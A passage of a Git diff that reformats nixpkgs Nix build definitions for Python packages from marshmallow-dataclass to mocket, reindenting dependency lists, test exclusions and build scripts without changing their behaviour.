--- a/pkgs/development/python-modules/marshmallow-dataclass/default.nix
+++ b/pkgs/development/python-modules/marshmallow-dataclass/default.nix
@@ -31,7 +31,8 @@ buildPythonPackage rec {
   dependencies = [
     marshmallow
     typing-inspect
-  ] ++ lib.optionals (pythonOlder "3.10") [ typing-extensions ];
+  ]
+  ++ lib.optionals (pythonOlder "3.10") [ typing-extensions ];
 
   nativeCheckInputs = [
     pytestCheckHook
diff --git a/pkgs/development/python-modules/mashumaro/default.nix b/pkgs/development/python-modules/mashumaro/default.nix
index ab3050a643e7..5ce6c493181a 100644
--- a/pkgs/development/python-modules/mashumaro/default.nix
+++ b/pkgs/development/python-modules/mashumaro/default.nix
@@ -46,7 +46,8 @@ buildPythonPackage rec {
     pendulum
     pytest-mock
     pytestCheckHook
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "mashumaro" ];
 
diff --git a/pkgs/development/python-modules/mastodon-py/default.nix b/pkgs/development/python-modules/mastodon-py/default.nix
index fc46268ecc6a..5d4a9cb16761 100644
--- a/pkgs/development/python-modules/mastodon-py/default.nix
+++ b/pkgs/development/python-modules/mastodon-py/default.nix
@@ -53,7 +53,8 @@ buildPythonPackage rec {
     pytest-mock
     pytest-vcr
     requests-mock
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   disabledTests = [
     "test_notifications_dismiss_pre_2_9_2"
diff --git a/pkgs/development/python-modules/mat2/default.nix b/pkgs/development/python-modules/mat2/default.nix
index f998632610d5..164faca0fe6d 100644
--- a/pkgs/development/python-modules/mat2/default.nix
+++ b/pkgs/development/python-modules/mat2/default.nix
@@ -35,32 +35,31 @@ buildPythonPackage rec {
     hash = "sha256-ivFgH/88DBucZRaO/OMsLlwJCjv/VQXb6AiKWhZ8XH0=";
   };
 
-  patches =
-    [
-      (fetchpatch {
-        name = "exiftool-13.25-compat.patch";
-        url = "https://0xacab.org/jvoisin/mat2/-/commit/473903b70e1b269a6110242a9c098a10c18554e2.patch";
-        hash = "sha256-vxxjAFwiTDlcTT3ZlfhOG4rlzBJS+LhLoA++8y2hEok=";
-      })
-      # hardcode paths to some binaries
-      (replaceVars ./paths.patch {
-        exiftool = lib.getExe exiftool;
-        ffmpeg = lib.getExe ffmpeg;
-        kdialog = if dolphinIntegration then lib.getExe kdePackages.kdialog else null;
-        # replaced in postPatch
-        mat2 = null;
-        mat2svg = null;
-      })
-      # the executable shouldn't be called .mat2-wrapped
-      ./executable-name.patch
-      # hardcode path to mat2 executable
-      ./tests.patch
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isLinux) [
-      (replaceVars ./bubblewrap-path.patch {
-        bwrap = lib.getExe bubblewrap;
-      })
-    ];
+  patches = [
+    (fetchpatch {
+      name = "exiftool-13.25-compat.patch";
+      url = "https://0xacab.org/jvoisin/mat2/-/commit/473903b70e1b269a6110242a9c098a10c18554e2.patch";
+      hash = "sha256-vxxjAFwiTDlcTT3ZlfhOG4rlzBJS+LhLoA++8y2hEok=";
+    })
+    # hardcode paths to some binaries
+    (replaceVars ./paths.patch {
+      exiftool = lib.getExe exiftool;
+      ffmpeg = lib.getExe ffmpeg;
+      kdialog = if dolphinIntegration then lib.getExe kdePackages.kdialog else null;
+      # replaced in postPatch
+      mat2 = null;
+      mat2svg = null;
+    })
+    # the executable shouldn't be called .mat2-wrapped
+    ./executable-name.patch
+    # hardcode path to mat2 executable
+    ./tests.patch
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isLinux) [
+    (replaceVars ./bubblewrap-path.patch {
+      bwrap = lib.getExe bubblewrap;
+    })
+  ];
 
   postPatch = ''
     substituteInPlace dolphin/mat2.desktop \
@@ -87,14 +86,13 @@ buildPythonPackage rec {
     pycairo
   ];
 
-  postInstall =
-    ''
-      install -Dm 444 data/mat2.svg -t "$out/share/icons/hicolor/scalable/apps"
-      install -Dm 444 doc/mat2.1 -t "$out/share/man/man1"
-    ''
-    + lib.optionalString dolphinIntegration ''
-      install -Dm 444 dolphin/mat2.desktop -t "$out/share/kservices5/ServiceMenus"
-    '';
+  postInstall = ''
+    install -Dm 444 data/mat2.svg -t "$out/share/icons/hicolor/scalable/apps"
+    install -Dm 444 doc/mat2.1 -t "$out/share/man/man1"
+  ''
+  + lib.optionalString dolphinIntegration ''
+    install -Dm 444 dolphin/mat2.desktop -t "$out/share/kservices5/ServiceMenus"
+  '';
 
   nativeCheckInputs = [ pytestCheckHook ];
 
diff --git a/pkgs/development/python-modules/materialx/default.nix b/pkgs/development/python-modules/materialx/default.nix
index d15207ee0a70..ac858b468fdd 100644
--- a/pkgs/development/python-modules/materialx/default.nix
+++ b/pkgs/development/python-modules/materialx/default.nix
@@ -35,19 +35,18 @@ buildPythonPackage rec {
     setuptools
   ];
 
-  buildInputs =
-    [
-      openimageio_2
-      imath
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      apple-sdk_14
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
-      libX11
-      libXt
-      libGL
-    ];
+  buildInputs = [
+    openimageio_2
+    imath
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    apple-sdk_14
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
+    libX11
+    libXt
+    libGL
+  ];
 
   cmakeFlags = [
     (lib.cmakeBool "MATERIALX_BUILD_OIIO" true)
diff --git a/pkgs/development/python-modules/matplotlib/default.nix b/pkgs/development/python-modules/matplotlib/default.nix
index 6ef74d0c3d3a..1a8e699a59d3 100644
--- a/pkgs/development/python-modules/matplotlib/default.nix
+++ b/pkgs/development/python-modules/matplotlib/default.nix
@@ -99,32 +99,30 @@ buildPythonPackage rec {
   # installed under the same path which is not true in Nix.
   # With the following patch we just hard-code these paths into the install
   # script.
-  postPatch =
-    ''
-      substituteInPlace pyproject.toml \
-        --replace-fail "meson-python>=0.13.1,<0.17.0" meson-python
+  postPatch = ''
+    substituteInPlace pyproject.toml \
+      --replace-fail "meson-python>=0.13.1,<0.17.0" meson-python
 
-      patchShebangs tools
-    ''
-    + lib.optionalString (stdenv.hostPlatform.isLinux && interactive) ''
-      # fix paths to libraries in dlopen calls (headless detection)
-      substituteInPlace src/_c_internal_utils.cpp \
-        --replace-fail libX11.so.6 ${libX11}/lib/libX11.so.6 \
-        --replace-fail libwayland-client.so.0 ${wayland}/lib/libwayland-client.so.0
-    '';
+    patchShebangs tools
+  ''
+  + lib.optionalString (stdenv.hostPlatform.isLinux && interactive) ''
+    # fix paths to libraries in dlopen calls (headless detection)
+    substituteInPlace src/_c_internal_utils.cpp \
+      --replace-fail libX11.so.6 ${libX11}/lib/libX11.so.6 \
+      --replace-fail libwayland-client.so.0 ${wayland}/lib/libwayland-client.so.0
+  '';
 
   nativeBuildInputs = [ pkg-config ] ++ lib.optionals enableGtk3 [ gobject-introspection ];
 
-  buildInputs =
-    [
-      ffmpeg-headless
-      freetype
-      qhull
-    ]
-    ++ lib.optionals enableGtk3 [
-      cairo
-      gtk3
-    ];
+  buildInputs = [
+    ffmpeg-headless
+    freetype
+    qhull
+  ]
+  ++ lib.optionals enableGtk3 [
+    cairo
+    gtk3
+  ];
 
   # clang-11: error: argument unused during compilation: '-fno-strict-overflow' [-Werror,-Wunused-command-line-argument]
   hardeningDisable = lib.optionals stdenv.hostPlatform.isDarwin [ "strictoverflow" ];
@@ -137,28 +135,27 @@ buildPythonPackage rec {
     setuptools-scm
   ];
 
-  dependencies =
-    [
-      # explicit
-      contourpy
-      cycler
-      fonttools
-      kiwisolver
-      numpy
-      packaging
-      pillow
-      pyparsing
-      python-dateutil
-    ]
-    ++ lib.optionals (pythonOlder "3.10") [ importlib-resources ]
-    ++ lib.optionals enableGtk3 [
-      pycairo
-      pygobject3
-    ]
-    ++ lib.optionals enableQt [ pyqt5 ]
-    ++ lib.optionals enableWebagg [ tornado ]
-    ++ lib.optionals enableNbagg [ ipykernel ]
-    ++ lib.optionals enableTk [ tkinter ];
+  dependencies = [
+    # explicit
+    contourpy
+    cycler
+    fonttools
+    kiwisolver
+    numpy
+    packaging
+    pillow
+    pyparsing
+    python-dateutil
+  ]
+  ++ lib.optionals (pythonOlder "3.10") [ importlib-resources ]
+  ++ lib.optionals enableGtk3 [
+    pycairo
+    pygobject3
+  ]
+  ++ lib.optionals enableQt [ pyqt5 ]
+  ++ lib.optionals enableWebagg [ tornado ]
+  ++ lib.optionals enableNbagg [ ipykernel ]
+  ++ lib.optionals enableTk [ tkinter ];
 
   mesonFlags = lib.mapAttrsToList lib.mesonBool {
     system-freetype = true;
diff --git a/pkgs/development/python-modules/matrix-nio/default.nix b/pkgs/development/python-modules/matrix-nio/default.nix
index a219fa49c817..79915fcd9df4 100644
--- a/pkgs/development/python-modules/matrix-nio/default.nix
+++ b/pkgs/development/python-modules/matrix-nio/default.nix
@@ -70,7 +70,8 @@ buildPythonPackage rec {
     jsonschema
     pycryptodome
     unpaddedbase64
-  ] ++ lib.optionals withOlm optional-dependencies.e2e;
+  ]
+  ++ lib.optionals withOlm optional-dependencies.e2e;
 
   optional-dependencies = {
     e2e = [
@@ -108,46 +109,45 @@ buildPythonPackage rec {
     "tests/store_test.py"
   ];
 
-  disabledTests =
-    [
-      # touches network
-      "test_connect_wrapper"
-      # time dependent and flaky
-      "test_transfer_monitor_callbacks"
-    ]
-    ++ lib.optionals (!withOlm) [
-      "test_client_account_sharing"
-      "test_client_key_query"
-      "test_client_login"
-      "test_client_protocol_error"
-      "test_client_restore_login"
-      "test_client_room_creation"
-      "test_device_store"
-      "test_e2e_sending"
-      "test_early_store_loading"
-      "test_encrypted_data_generator"
-      "test_http_client_keys_query"
-      "test_key_claiming"
-      "test_key_exports"
-      "test_key_invalidation"
-      "test_key_sharing"
-      "test_key_sharing_callbacks"
-      "test_key_sharing_cancellation"
-      "test_keys_query"
-      "test_keys_upload"
-      "test_marking_sessions_as_shared"
-      "test_message_sending"
-      "test_query_rule"
-      "test_room_devices"
-      "test_sas_verification"
-      "test_sas_verification_cancel"
-      "test_session_sharing"
-      "test_session_sharing_2"
-      "test_session_unwedging"
-      "test_storing_room_encryption_state"
-      "test_sync_forever"
-      "test_sync_token_restoring"
-    ];
+  disabledTests = [
+    # touches network
+    "test_connect_wrapper"
+    # time dependent and flaky
+    "test_transfer_monitor_callbacks"
+  ]
+  ++ lib.optionals (!withOlm) [
+    "test_client_account_sharing"
+    "test_client_key_query"
+    "test_client_login"
+    "test_client_protocol_error"
+    "test_client_restore_login"
+    "test_client_room_creation"
+    "test_device_store"
+    "test_e2e_sending"
+    "test_early_store_loading"
+    "test_encrypted_data_generator"
+    "test_http_client_keys_query"
+    "test_key_claiming"
+    "test_key_exports"
+    "test_key_invalidation"
+    "test_key_sharing"
+    "test_key_sharing_callbacks"
+    "test_key_sharing_cancellation"
+    "test_keys_query"
+    "test_keys_upload"
+    "test_marking_sessions_as_shared"
+    "test_message_sending"
+    "test_query_rule"
+    "test_room_devices"
+    "test_sas_verification"
+    "test_sas_verification_cancel"
+    "test_session_sharing"
+    "test_session_sharing_2"
+    "test_session_unwedging"
+    "test_storing_room_encryption_state"
+    "test_sync_forever"
+    "test_sync_token_restoring"
+  ];
 
   passthru.tests = {
     inherit (nixosTests)
diff --git a/pkgs/development/python-modules/mautrix/default.nix b/pkgs/development/python-modules/mautrix/default.nix
index 2c28eaabbf35..325f84f3158e 100644
--- a/pkgs/development/python-modules/mautrix/default.nix
+++ b/pkgs/development/python-modules/mautrix/default.nix
@@ -43,7 +43,8 @@ buildPythonPackage rec {
     aiohttp
     attrs
     yarl
-  ] ++ lib.optionals withOlm optional-dependencies.encryption;
+  ]
+  ++ lib.optionals withOlm optional-dependencies.encryption;
 
   optional-dependencies = {
     detect_mimetype = [ python-magic ];
diff --git a/pkgs/development/python-modules/mayim/default.nix b/pkgs/development/python-modules/mayim/default.nix
index 91ef5b7b6d3c..8c4cbd41fb51 100644
--- a/pkgs/development/python-modules/mayim/default.nix
+++ b/pkgs/development/python-modules/mayim/default.nix
@@ -39,17 +39,16 @@ buildPythonPackage rec {
     sqlite = [ aiosqlite ];
   };
 
-  nativeCheckInputs =
-    [
-      pytestCheckHook
-      pytest-asyncio
-      pytest-cov-stub
-    ]
-    ++ (with optional-dependencies; [
-      postgres
-      mysql
-      sqlite
-    ]);
+  nativeCheckInputs = [
+    pytestCheckHook
+    pytest-asyncio
+    pytest-cov-stub
+  ]
+  ++ (with optional-dependencies; [
+    postgres
+    mysql
+    sqlite
+  ]);
 
   pythonImportsCheck = [ "mayim" ];
 
diff --git a/pkgs/development/python-modules/mcp/default.nix b/pkgs/development/python-modules/mcp/default.nix
index e0f9c268ac28..41fb50239b53 100644
--- a/pkgs/development/python-modules/mcp/default.nix
+++ b/pkgs/development/python-modules/mcp/default.nix
@@ -77,7 +77,8 @@ buildPythonPackage rec {
     pytest-asyncio
     pytest-examples
     pytestCheckHook
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
   pytestFlagsArray = [
     "-W"
diff --git a/pkgs/development/python-modules/mdformat/default.nix b/pkgs/development/python-modules/mdformat/default.nix
index 393d877370c2..dc9df0d96a6f 100644
--- a/pkgs/development/python-modules/mdformat/default.nix
+++ b/pkgs/development/python-modules/mdformat/default.nix
@@ -26,10 +26,11 @@ buildPythonPackage rec {
 
   build-system = [ setuptools ];
 
-  dependencies =
-    [ markdown-it-py ]
-    ++ lib.optionals (pythonOlder "3.11") [ tomli ]
-    ++ lib.optionals (pythonOlder "3.10") [ importlib-metadata ];
+  dependencies = [
+    markdown-it-py
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [ tomli ]
+  ++ lib.optionals (pythonOlder "3.10") [ importlib-metadata ];
 
   nativeCheckInputs = [ pytestCheckHook ];
 
diff --git a/pkgs/development/python-modules/meep/default.nix b/pkgs/development/python-modules/meep/default.nix
index 9e8fa1bafc82..bab9f0b29f58 100644
--- a/pkgs/development/python-modules/meep/default.nix
+++ b/pkgs/development/python-modules/meep/default.nix
@@ -76,20 +76,19 @@ buildPythonPackage rec {
     mpb
   ];
 
-  propagatedBuildInputs =
-    [
-      mpi
-      numpy
-      scipy
-      matplotlib
-      h5py-mpi
-      cython
-      autograd
-      mpi4py
-    ]
-    ++ lib.optionals (!pythonOlder "3.12") [
-      setuptools # used in python/visualization.py
-    ];
+  propagatedBuildInputs = [
+    mpi
+    numpy
+    scipy
+    matplotlib
+    h5py-mpi
+    cython
+    autograd
+    mpi4py
+  ]
+  ++ lib.optionals (!pythonOlder "3.12") [
+    setuptools # used in python/visualization.py
+  ];
 
   propagatedUserEnvPkgs = [ mpi ];
 
diff --git a/pkgs/development/python-modules/meilisearch/default.nix b/pkgs/development/python-modules/meilisearch/default.nix
index 0cebca839e57..6a3c3bb6087e 100644
--- a/pkgs/development/python-modules/meilisearch/default.nix
+++ b/pkgs/development/python-modules/meilisearch/default.nix
@@ -27,7 +27,8 @@ buildPythonPackage rec {
   dependencies = [
     camel-converter
     requests
-  ] ++ camel-converter.optional-dependencies.pydantic;
+  ]
+  ++ camel-converter.optional-dependencies.pydantic;
 
   pythonImportsCheck = [ "meilisearch" ];
 
diff --git a/pkgs/development/python-modules/meross-iot/default.nix b/pkgs/development/python-modules/meross-iot/default.nix
index 37d088234c92..fa1c7b10dbf0 100644
--- a/pkgs/development/python-modules/meross-iot/default.nix
+++ b/pkgs/development/python-modules/meross-iot/default.nix
@@ -28,7 +28,8 @@ buildPythonPackage rec {
     paho-mqtt
     pycryptodomex
     requests
-  ] ++ aiohttp.optional-dependencies.speedups;
+  ]
+  ++ aiohttp.optional-dependencies.speedups;
 
   # Test require network access
   doCheck = false;
diff --git a/pkgs/development/python-modules/meshtastic/default.nix b/pkgs/development/python-modules/meshtastic/default.nix
index a83bd159d285..650f574b5fd6 100644
--- a/pkgs/development/python-modules/meshtastic/default.nix
+++ b/pkgs/development/python-modules/meshtastic/default.nix
@@ -92,7 +92,8 @@ buildPythonPackage rec {
   nativeCheckInputs = [
     hypothesis
     pytestCheckHook
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   preCheck = ''
     export PATH="$PATH:$out/bin";
diff --git a/pkgs/development/python-modules/meson-python/default.nix b/pkgs/development/python-modules/meson-python/default.nix
index c4988343b3fd..2e12f24411da 100644
--- a/pkgs/development/python-modules/meson-python/default.nix
+++ b/pkgs/development/python-modules/meson-python/default.nix
@@ -26,14 +26,16 @@ buildPythonPackage rec {
     ninja
     pyproject-metadata
     tomli
-  ] ++ lib.optionals (pythonOlder "3.10") [ typing-extensions ];
+  ]
+  ++ lib.optionals (pythonOlder "3.10") [ typing-extensions ];
 
   propagatedBuildInputs = [
     meson
     ninja
     pyproject-metadata
     tomli
-  ] ++ lib.optionals (pythonOlder "3.10") [ typing-extensions ];
+  ]
+  ++ lib.optionals (pythonOlder "3.10") [ typing-extensions ];
   setupHooks = [ ./add-build-flags.sh ];
 
   meta = {
diff --git a/pkgs/development/python-modules/mezzanine/default.nix b/pkgs/development/python-modules/mezzanine/default.nix
index 9dbbfe4c6d7d..d7f21ee8e2a6 100644
--- a/pkgs/development/python-modules/mezzanine/default.nix
+++ b/pkgs/development/python-modules/mezzanine/default.nix
@@ -53,7 +53,8 @@ buildPythonPackage rec {
     requests
     requests-oauthlib
     tzlocal
-  ] ++ bleach.optional-dependencies.css;
+  ]
+  ++ bleach.optional-dependencies.css;
 
   # Tests Fail Due to Syntax Warning, Fixed for v3.1.11+
   doCheck = false;
diff --git a/pkgs/development/python-modules/microsoft-kiota-http/default.nix b/pkgs/development/python-modules/microsoft-kiota-http/default.nix
index 3134ce73404f..ead1365ef710 100644
--- a/pkgs/development/python-modules/microsoft-kiota-http/default.nix
+++ b/pkgs/development/python-modules/microsoft-kiota-http/default.nix
@@ -37,7 +37,8 @@ buildPythonPackage rec {
     microsoft-kiota-abstractions
     opentelemetry-api
     opentelemetry-sdk
-  ] ++ httpx.optional-dependencies.http2;
+  ]
+  ++ httpx.optional-dependencies.http2;
 
   nativeCheckInputs = [
     pytest-asyncio
diff --git a/pkgs/development/python-modules/mike/default.nix b/pkgs/development/python-modules/mike/default.nix
index 0d23235e09ad..c334aef04cd8 100644
--- a/pkgs/development/python-modules/mike/default.nix
+++ b/pkgs/development/python-modules/mike/default.nix
@@ -58,15 +58,14 @@ buildPythonPackage rec {
     shtab
   ];
 
-  preCheck =
-    ''
-      export PATH=$out/bin:$PATH
-    ''
-    # "stat" on darwin results in "not permitted" instead of "does not exists"
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      substituteInPlace test/unit/test_git_utils.py \
-        --replace-fail "/home/nonexist" "$(mktemp -d)"
-    '';
+  preCheck = ''
+    export PATH=$out/bin:$PATH
+  ''
+  # "stat" on darwin results in "not permitted" instead of "does not exists"
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    substituteInPlace test/unit/test_git_utils.py \
+      --replace-fail "/home/nonexist" "$(mktemp -d)"
+  '';
 
   pythonImportsCheck = [ "mike" ];
 
diff --git a/pkgs/development/python-modules/minari/default.nix b/pkgs/development/python-modules/minari/default.nix
index a3236605d711..bfbac43d3340 100644
--- a/pkgs/development/python-modules/minari/default.nix
+++ b/pkgs/development/python-modules/minari/default.nix
@@ -79,7 +79,8 @@ buildPythonPackage rec {
   nativeCheckInputs = [
     jaxlib
     pytestCheckHook
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
   disabledTests = [
     # Require internet access
diff --git a/pkgs/development/python-modules/mip/default.nix b/pkgs/development/python-modules/mip/default.nix
index a2c6e80e3f16..18e8360ed063 100644
--- a/pkgs/development/python-modules/mip/default.nix
+++ b/pkgs/development/python-modules/mip/default.nix
@@ -50,7 +50,8 @@ buildPythonPackage rec {
 
   propagatedBuildInputs = [
     cffi
-  ] ++ lib.optionals gurobiSupport ([ gurobipy ] ++ lib.optional (gurobiHome == null) gurobi);
+  ]
+  ++ lib.optionals gurobiSupport ([ gurobipy ] ++ lib.optional (gurobiHome == null) gurobi);
 
   # Source files have CRLF terminators, which make patch error out when supplied
   # with diffs made on *nix machines
diff --git a/pkgs/development/python-modules/mir-eval/default.nix b/pkgs/development/python-modules/mir-eval/default.nix
index 1102adfb43d2..ef580ec384ee 100644
--- a/pkgs/development/python-modules/mir-eval/default.nix
+++ b/pkgs/development/python-modules/mir-eval/default.nix
@@ -38,7 +38,8 @@ buildPythonPackage rec {
     pytestCheckHook
     pytest-cov-stub
     pytest-mpl
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
   preCheck = ''
     pushd tests
diff --git a/pkgs/development/python-modules/mirakuru/default.nix b/pkgs/development/python-modules/mirakuru/default.nix
index 85085c1e6ebc..168a3175a703 100644
--- a/pkgs/development/python-modules/mirakuru/default.nix
+++ b/pkgs/development/python-modules/mirakuru/default.nix
@@ -49,14 +49,13 @@ buildPythonPackage rec {
   # > ps: vsz: requires entitlement
   # > ps: rss: requires entitlement
   # > ps: time: requires entitlement
-  disabledTests =
-    [
-      "test_forgotten_stop"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "test_mirakuru_cleanup"
-      "test_daemons_killing"
-    ];
+  disabledTests = [
+    "test_forgotten_stop"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "test_mirakuru_cleanup"
+    "test_daemons_killing"
+  ];
 
   meta = with lib; {
     homepage = "https://github.com/dbfixtures/mirakuru";
diff --git a/pkgs/development/python-modules/mitmproxy-linux/default.nix b/pkgs/development/python-modules/mitmproxy-linux/default.nix
index 8504fa751399..41467db01625 100644
--- a/pkgs/development/python-modules/mitmproxy-linux/default.nix
+++ b/pkgs/development/python-modules/mitmproxy-linux/default.nix
@@ -41,13 +41,12 @@ buildPythonPackage {
 
   pythonImportsCheck = [ "mitmproxy_linux" ];
 
-  meta =
-    {
-      inherit (mitmproxy-rs.meta) changelog license maintainers;
-    }
-    // {
-      description = "Linux Rust bits in mitmproxy";
-      homepage = "https://github.com/mitmproxy/mitmproxy_rs/tree/main/mitmproxy-linux";
-      platforms = lib.platforms.linux;
-    };
+  meta = {
+    inherit (mitmproxy-rs.meta) changelog license maintainers;
+  }
+  // {
+    description = "Linux Rust bits in mitmproxy";
+    homepage = "https://github.com/mitmproxy/mitmproxy_rs/tree/main/mitmproxy-linux";
+    platforms = lib.platforms.linux;
+  };
 }
diff --git a/pkgs/development/python-modules/mkdocs/default.nix b/pkgs/development/python-modules/mkdocs/default.nix
index 2a2a49fd9b91..4e7f5050f19a 100644
--- a/pkgs/development/python-modules/mkdocs/default.nix
+++ b/pkgs/development/python-modules/mkdocs/default.nix
@@ -52,7 +52,8 @@ buildPythonPackage rec {
     hatchling
     # babel, setuptools required as "build hooks"
     babel
-  ] ++ lib.optionals (pythonAtLeast "3.12") [ setuptools ];
+  ]
+  ++ lib.optionals (pythonAtLeast "3.12") [ setuptools ];
 
   dependencies = [
     click
@@ -68,7 +69,8 @@ buildPythonPackage rec {
     pyyaml
     pyyaml-env-tag
     watchdog
-  ] ++ lib.optionals (pythonOlder "3.10") [ importlib-metadata ];
+  ]
+  ++ lib.optionals (pythonOlder "3.10") [ importlib-metadata ];
 
   optional-dependencies = {
     i18n = [ babel ];
@@ -77,7 +79,8 @@ buildPythonPackage rec {
   nativeCheckInputs = [
     unittestCheckHook
     mock
-  ] ++ optional-dependencies.i18n;
+  ]
+  ++ optional-dependencies.i18n;
 
   unittestFlagsArray = [
     "-v"
diff --git a/pkgs/development/python-modules/mkdocstrings/default.nix b/pkgs/development/python-modules/mkdocstrings/default.nix
index 6472e51bb9ed..1ee04a5b9971 100644
--- a/pkgs/development/python-modules/mkdocstrings/default.nix
+++ b/pkgs/development/python-modules/mkdocstrings/default.nix
@@ -34,18 +34,17 @@ buildPythonPackage rec {
 
   build-system = [ pdm-backend ];
 
-  dependencies =
-    [
-      jinja2
-      markdown
-      markupsafe
-      mkdocs
-      mkdocs-autorefs
-      pymdown-extensions
-    ]
-    ++ lib.optionals (pythonOlder "3.10") [
-      importlib-metadata
-    ];
+  dependencies = [
+    jinja2
+    markdown
+    markupsafe
+    mkdocs
+    mkdocs-autorefs
+    pymdown-extensions
+  ]
+  ++ lib.optionals (pythonOlder "3.10") [
+    importlib-metadata
+  ];
 
   nativeCheckInputs = [
     pytestCheckHook
diff --git a/pkgs/development/python-modules/mlcroissant/default.nix b/pkgs/development/python-modules/mlcroissant/default.nix
index 7711374c5370..96bf7b6dc9f6 100644
--- a/pkgs/development/python-modules/mlcroissant/default.nix
+++ b/pkgs/development/python-modules/mlcroissant/default.nix
@@ -58,7 +58,8 @@ buildPythonPackage rec {
     requests
     scipy
     tqdm
-  ] ++ etils.optional-dependencies.epath;
+  ]
+  ++ etils.optional-dependencies.epath;
 
   pythonImportsCheck = [ "mlcroissant" ];
 
diff --git a/pkgs/development/python-modules/mmcv/default.nix b/pkgs/development/python-modules/mmcv/default.nix
index 3f7b5f9f4ce9..fc4a1ea8c892 100644
--- a/pkgs/development/python-modules/mmcv/default.nix
+++ b/pkgs/development/python-modules/mmcv/default.nix
@@ -58,21 +58,20 @@ buildPythonPackage rec {
     which
   ];
 
-  buildInputs =
+  buildInputs = [
+    pybind11
+    torch
+  ]
+  ++ lib.optionals cudaSupport (
+    with cudaPackages;
     [
-      pybind11
-      torch
+      cuda_cudart # cuda_runtime.h
+      cuda_cccl # <thrust/*>
+      libcublas # cublas_v2.h
+      libcusolver # cusolverDn.h
+      libcusparse # cusparse.h
     ]
-    ++ lib.optionals cudaSupport (
-      with cudaPackages;
-      [
-        cuda_cudart # cuda_runtime.h
-        cuda_cccl # <thrust/*>
-        libcublas # cublas_v2.h
-        libcusolver # cusolverDn.h
-        libcusparse # cusparse.h
-      ]
-    );
+  );
 
   dependencies = [
     addict
@@ -89,16 +88,15 @@ buildPythonPackage rec {
 
   env.CUDA_HOME = lib.optionalString cudaSupport (lib.getDev cudaPackages.cuda_nvcc);
 
-  preConfigure =
-    ''
-      export MMCV_WITH_OPS=1
-    ''
-    + lib.optionalString cudaSupport ''
-      export CC=${lib.getExe' backendStdenv.cc "cc"}
-      export CXX=${lib.getExe' backendStdenv.cc "c++"}
-      export TORCH_CUDA_ARCH_LIST="${lib.concatStringsSep ";" cudaCapabilities}"
-      export FORCE_CUDA=1
-    '';
+  preConfigure = ''
+    export MMCV_WITH_OPS=1
+  ''
+  + lib.optionalString cudaSupport ''
+    export CC=${lib.getExe' backendStdenv.cc "cc"}
+    export CXX=${lib.getExe' backendStdenv.cc "c++"}
+    export TORCH_CUDA_ARCH_LIST="${lib.concatStringsSep ";" cudaCapabilities}"
+    export FORCE_CUDA=1
+  '';
 
   pythonImportsCheck = [ "mmcv" ];
 
@@ -121,23 +119,22 @@ buildPythonPackage rec {
   # test_cnn test_ops really requires gpus to be useful.
   # some of the tests take exceedingly long time.
   # the rest of the tests are disabled due to sandbox env.
-  disabledTests =
-    [
-      "test_cnn"
-      "test_ops"
-      "test_fileclient"
-      "test_load_model_zoo"
-      "test_processing"
-      "test_checkpoint"
-      "test_hub"
-      "test_reader"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isAarch64) [
-      # flaky numerical tests (AssertionError)
-      "test_ycbcr2rgb"
-      "test_ycbcr2bgr"
-      "test_tensor2imgs"
-    ];
+  disabledTests = [
+    "test_cnn"
+    "test_ops"
+    "test_fileclient"
+    "test_load_model_zoo"
+    "test_processing"
+    "test_checkpoint"
+    "test_hub"
+    "test_reader"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isAarch64) [
+    # flaky numerical tests (AssertionError)
+    "test_ycbcr2rgb"
+    "test_ycbcr2bgr"
+    "test_tensor2imgs"
+  ];
 
   meta = {
     description = "Foundational Library for Computer Vision Research";
diff --git a/pkgs/development/python-modules/mne/default.nix b/pkgs/development/python-modules/mne/default.nix
index 308e455b6cd4..e65caeb6355e 100644
--- a/pkgs/development/python-modules/mne/default.nix
+++ b/pkgs/development/python-modules/mne/default.nix
@@ -75,7 +75,8 @@ buildPythonPackage rec {
     pytestCheckHook
     pytest-cov-stub
     pytest-timeout
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   preCheck = ''
     export HOME=$(mktemp -d)
diff --git a/pkgs/development/python-modules/mocket/default.nix b/pkgs/development/python-modules/mocket/default.nix
index f4f048060795..5888e09e1fe6 100644
--- a/pkgs/development/python-modules/mocket/default.nix
+++ b/pkgs/development/python-modules/mocket/default.nix
@@ -72,27 +72,27 @@ buildPythonPackage rec {
     redisTestHook
     requests
     sure
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
   # Skip http tests, they require network access
   env.SKIP_TRUE_HTTP = true;
 
   _darwinAllowLocalNetworking = true;
 
-  disabledTests =
-    [
-      # tests that require network access (like DNS lookups)
-      "test_truesendall_with_dump_from_recording"
-      "test_aiohttp"
-      "test_asyncio_record_replay"
-      "test_gethostbyname"
-      # httpx read failure
-      "test_no_dangling_fds"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # fails on darwin due to upstream bug: https://github.com/mindflayer/python-mocket/issues/287
-      "test_httprettish_httpx_session"
